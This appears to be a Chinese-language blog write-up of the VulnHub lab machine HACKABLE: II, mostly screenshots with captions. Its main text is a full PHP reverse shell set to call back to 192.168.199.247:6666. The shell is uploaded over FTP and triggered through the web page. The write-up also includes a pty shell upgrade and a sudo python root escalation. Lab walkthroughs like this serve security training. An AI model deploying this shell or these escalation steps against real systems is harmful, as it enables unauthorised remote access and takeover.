vulnhub刷題記錄(HACKABLE: II)
- 英文名稱 :HACKABLE: II
- 中文名稱 :可破解:II
- 釋出日期 :2021 年 6 月 15 日
- 難度 :容易
- 描述 :這適用於 VirtualBox 而不是 VMware。
- 下載地址 :
http://www.vulnhub.com/entry/hackable-ii,711/
1、主機發現
![](http://mdimg.wxwenku.com/getimg/ccdf080c7af7e8a10e9b88444af98393ad183a199a551ede2ba8f5d0b4c38f3d46a52fcb15ee57a3ac97039ddaa1d39f.jpg)
2、埠掃描
![](http://mdimg.wxwenku.com/getimg/6b990ce30fa9193e296dd37902816f4bd25b6bbf00d91337d8315fa1748c4949347689f35132cc96485872b4121a7c11.jpg)
3、FTP發現
![](http://mdimg.wxwenku.com/getimg/6b990ce30fa9193e296dd37902816f4b595b2fe8676911b58a69bfe852990cb1420eeaa93b1aa72463d213935bce7c1e.jpg)
4、Web發現
dirsearch -u 192.168.199.100
![](http://mdimg.wxwenku.com/getimg/ccdf080c7af7e8a10e9b88444af9839330b5c1d55fe97e76bacc3cd97104c3e7e66d1d833960023e9cc3825d1f58975a.jpg)
5、訪問Web頁面
![](http://mdimg.wxwenku.com/getimg/6b990ce30fa9193e296dd37902816f4bc86dcdc88cf2710bdd211fecb4120432699293390b7cb012b6f1c8897bc1c9e8.jpg)
6、FTP上傳PHP反彈shell
![](http://mdimg.wxwenku.com/getimg/356ed03bdc643f9448b3f6485edc229b649d12f295848b59e99fc4a41532729ded20adc510ce8539329282fd0a854dbc.jpg)
<?php // php-reverse-shell - A Reverse Shell implementation in PHP set_time_limit (0); $VERSION = "1.0"; $ip = '192.168.199.247'; // ailx10 hacker $port = 6666; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; // // Daemonise ourself if possible to avoid zombies later // // pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
6、Web頁面點選反彈shell
![](http://mdimg.wxwenku.com/getimg/ccdf080c7af7e8a10e9b88444af98393ba20e42eeec1c75748a8b125ebd17649f9b198395180f73b3aae7198a5da8804.jpg)
7、反彈shell成功
![](http://mdimg.wxwenku.com/getimg/356ed03bdc643f9448b3f6485edc229b3e7708ca191d2813af25b95738f92df4adf2694f83008c6cdb4671738cbaf7b1.jpg)
8、切換shell,便於後續提權
python3 -c 'import pty;pty.spawn("/bin/bash")'
![](http://mdimg.wxwenku.com/getimg/ccdf080c7af7e8a10e9b88444af983932279e4eaf8da169c318ac6ec27385b709c8d217a035a73dd526a1e43c9f7a24d.jpg)
9、尋找敏感檔案
![](http://mdimg.wxwenku.com/getimg/ccdf080c7af7e8a10e9b88444af983937ca375d90498ddafa55e83f72c3fdbd6ed5fe6f02c26ae04c59e4dadac4a9aab.jpg)
10、檢查系統版本,和CVE-2021-4034 polkit(pkexec)提權漏洞版本不對口
cat /etc/os-release
![](http://mdimg.wxwenku.com/getimg/6b990ce30fa9193e296dd37902816f4bbeda1a9e0882af80c16bd351bcd988eaab123535236513e988eeaf44135793e0.jpg)
11、檢視home目錄,發現線索在根目錄下存在隱藏檔案
![](http://mdimg.wxwenku.com/getimg/356ed03bdc643f9448b3f6485edc229b04fb3f1ffd2a85b8760707d81241facced8cf235e86deace9542cc747221733f.jpg)
12、執行隱藏檔案
![](http://mdimg.wxwenku.com/getimg/6b990ce30fa9193e296dd37902816f4be0e90ca9b945827875944d415d3a188d9489c18ba539597d51cd18b0b47be230.jpg)
13、md5解密
![](http://mdimg.wxwenku.com/getimg/6b990ce30fa9193e296dd37902816f4b4da20e98026b6f346a51e5c01f30832797204d93d6f6008ef63d3cd226882062.jpg)
14、切換使用者,獲得普通flag
![](http://mdimg.wxwenku.com/getimg/356ed03bdc643f9448b3f6485edc229b2a251c454cbc89a1ca6880f5c1f75ea1f45b2bb594e62f0d9ce715a1d784e7ba.jpg)
15、檢視使用者許可權
![](http://mdimg.wxwenku.com/getimg/ccdf080c7af7e8a10e9b88444af9839318e2e839fc1db16d39e27b68545f7161b0dcc2a82a4a7e0a4829fe5688da0e58.jpg)
16、sudo 提權
sudo /usr/bin/python3.5 -c 'import pty;pty.spawn("/bin/bash")'
![](http://mdimg.wxwenku.com/getimg/ccdf080c7af7e8a10e9b88444af983930999f25744b275bebe6b355d895f813e986d653984ad77f1dc0fd62746ec7ae9.jpg)
17、獲得root的flag
![](http://mdimg.wxwenku.com/getimg/ccdf080c7af7e8a10e9b88444af983931846e525c4a6eb4f578641a69ba015e434ef6b9d8947bb07b4ec5267912dbefa.jpg)
到此,實驗完成~
「其他文章」
- vulnhub刷題記錄(Funbox:Lunchbreaker)
- vulnhub刷題記錄(HACKABLE: II)
- vulnhub刷題記錄(Hack Me Please: 1)
- vulnhub刷題記錄(EVILBOX: ONE)
- vulnhub刷題記錄(Deathnote: 1)
- vulnhub刷題記錄(Dripping Blues: 1)
- vulnhub刷題記錄(ICA: 1)
- vulnhub刷題記錄(The Planets: Earth)
- 手機監控有什麼危害?
- SIEM和XDR下的安全分析小感悟
- 你的手機曾經被監控過嗎?
- 如何正則匹配亂碼?
- portmap 埠轉發
- socat 埠轉發
- 電腦監控是真的嗎?4個實驗一探究竟
- ufw 埠轉發
- SSH本地埠轉發
- 花生殼內網穿透實踐指南
- BlueHound 主機威脅狩獵
- python滲透測試入門之shellcode